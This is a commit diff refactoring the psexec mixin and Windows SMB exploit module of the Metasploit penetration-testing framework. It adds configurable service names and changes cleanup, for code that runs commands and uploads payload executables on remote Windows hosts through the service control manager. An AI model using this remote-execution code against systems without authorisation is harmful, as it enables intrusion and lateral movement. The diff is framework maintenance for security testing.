Allow servicename/displayname to be set

Tidyup psexec some more

lib/msf/core/exploit/smb/psexec.rb

@@ -18,7 +18,25 @@ module Exploit::Remote::SMB::Psexec
   ERROR_SERVICE_EXISTS = 0x431
   NULL_HANDLE = "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
 
-  # Retrives output from the executed command
+  def initialize(info = {})
+    super
+    register_options(
+      [
+        OptString.new('SERVICE_NAME', [ false, 'The service name', nil]),
+        OptString.new('SERVICE_DISPLAY_NAME', [ false, 'The service display name', nil]),
+      ], self.class)
+  end
+
+  def service_name
+    @service_name ||= datastore['SERVICE_NAME']
+    @service_name ||= rand_text_alpha(8)
+  end
+
+  def display_name
+    @display_name ||= datastore['SERVICE_DISPLAY_NAME']
+    @display_name ||= rand_text_alpha(16)
+  end
+
   #
   # @param smbshare [String] The SMBshare to connect to.  Usually C$
   # @param host [String] Remote host to connect to, as an IP address or
@@ -40,7 +58,6 @@ module Exploit::Remote::SMB::Psexec
     end
   end
 
-
   # Executes a single windows command.
   #
   # If you want to retrieve the output of your command you'll have to
@@ -53,10 +70,7 @@ module Exploit::Remote::SMB::Psexec
   # @param command [String] Should be a valid windows command
   # @param disconnect [Boolean] Disconnect afterwards
   # @return [Boolean] Whether everything went well
-  def psexec(command, disconnect=true, servicename=nil, displayname=nil)
-    servicename ||= Rex::Text.rand_text_alpha(11)
-    displayname ||= Rex::Text.rand_text_alpha(16)
-
+  def psexec(command, disconnect=true)
     simple.connect("\\\\#{datastore['RHOST']}\\IPC$")
     handle = dcerpc_handle('367abb81-9844-35f1-ad32-98f038001003', '2.0', 'ncacn_np', ["\\svcctl"])
     vprint_status("#{peer} - Binding to #{handle} ...")
@@ -78,7 +92,7 @@ module Exploit::Remote::SMB::Psexec
     svc_handle = nil
     svc_status = nil
     stubdata =
-      scm_handle + NDR.wstring(servicename) + NDR.uwstring(displayname) +
+      scm_handle + NDR.wstring(service_name) + NDR.uwstring(display_name) +
       NDR.long(0x0F01FF) + # Access: MAX
       NDR.long(0x00000110) + # Type: Interactive, Own process
       NDR.long(0x00000003) + # Start: Demand
@@ -94,7 +108,7 @@ module Exploit::Remote::SMB::Psexec
     begin
       vprint_status("#{peer} - Creating the service...")
       response = dcerpc.call(0x0c, stubdata)
-      if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
+      if dcerpc.last_response && dcerpc.last_response.stub_data
         svc_handle = dcerpc.last_response.stub_data[4,20]
         svc_status = dcerpc.last_response.stub_data[24,4].unpack('V').first
       end
@@ -105,9 +119,10 @@ module Exploit::Remote::SMB::Psexec
 
     if svc_handle == NULL_HANDLE
       if svc_status == ERROR_SERVICE_EXISTS
-        vprint_status("#{peer} - Service already exists, opening a handle...")
+        service_exists = true
+        vprint_warning("#{peer} - Service already exists, opening a handle...")
         begin
-          stubdata = scm_handle + NDR.wstring(servicename) + NDR.long(0xF01FF)
+          stubdata = scm_handle + NDR.wstring(service_name) + NDR.long(0xF01FF)
           response = dcerpc.call(0x10, stubdata)
           if dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil
             svc_handle = dcerpc.last_response.stub_data[0,20]
@@ -131,21 +146,25 @@ module Exploit::Remote::SMB::Psexec
         stubdata = svc_handle + NDR.long(0) + NDR.long(0)
         begin
           response = dcerpc.call(0x13, stubdata)
-          if dcerpc.last_response and dcerpc.last_response.stub_data
-          end
         rescue Rex::Proto::DCERPC::Exceptions::Fault => e
           print_error("#{peer} - Error starting service: #{e}")
           return false
         end
+      ensure
+        begin
+          # If service already exists don't delete it!
+          # Maybe we could have a force cleanup option..?
+          if service_exists
+            vprint_warning("#{peer} - Not removing service as it already existed...")
+          else
             vprint_status("#{peer} - Removing the service...")
             stubdata = svc_handle
             begin
             response = dcerpc.call(0x02, stubdata)
-          if dcerpc.last_response and dcerpc.last_response.stub_data
-          end
             rescue Rex::Proto::DCERPC::Exceptions::Fault => e
               print_error("#{peer} - Error removing service: #{e}")
             end
+          end
         ensure
           vprint_status("#{peer} - Closing service handle...")
           begin
@@ -155,17 +174,18 @@ module Exploit::Remote::SMB::Psexec
           end
         end
       end
+    end
 
     if disconnect
       sleep(1)
       simple.disconnect("\\\\#{datastore['RHOST']}\\IPC$")
     end
 
-    return true
+    true
   end
 
   def peer
-    return "#{rhost}:#{rport}"
+    "#{rhost}:#{rport}"
   end
 
 end

modules/exploits/windows/smb/psexec.rb

@@ -18,7 +18,6 @@ under:
 
 require 'msf/core'
 
-
 class Metasploit3 < Msf::Exploit::Remote
   Rank = ManualRanking
 
@@ -151,8 +150,6 @@ class Metasploit3 < Msf::Exploit::Remote
       # Disconnect from the ADMIN$
       simple.disconnect("ADMIN$")
     else
-      servicename = rand_text_alpha(8)
-
       # Upload the shellcode to a file
       print_status("Uploading payload...")
       smbshare = datastore['SHARE']
@@ -173,7 +170,7 @@ class Metasploit3 < Msf::Exploit::Remote
         fd = smb_open("\\#{filename}", 'rwct')
       end
       exe = ''
-      opts = { :servicename => servicename }
+      opts = { :servicename => service_name }
       exe = generate_payload_exe_service(opts)
 
       fd << exe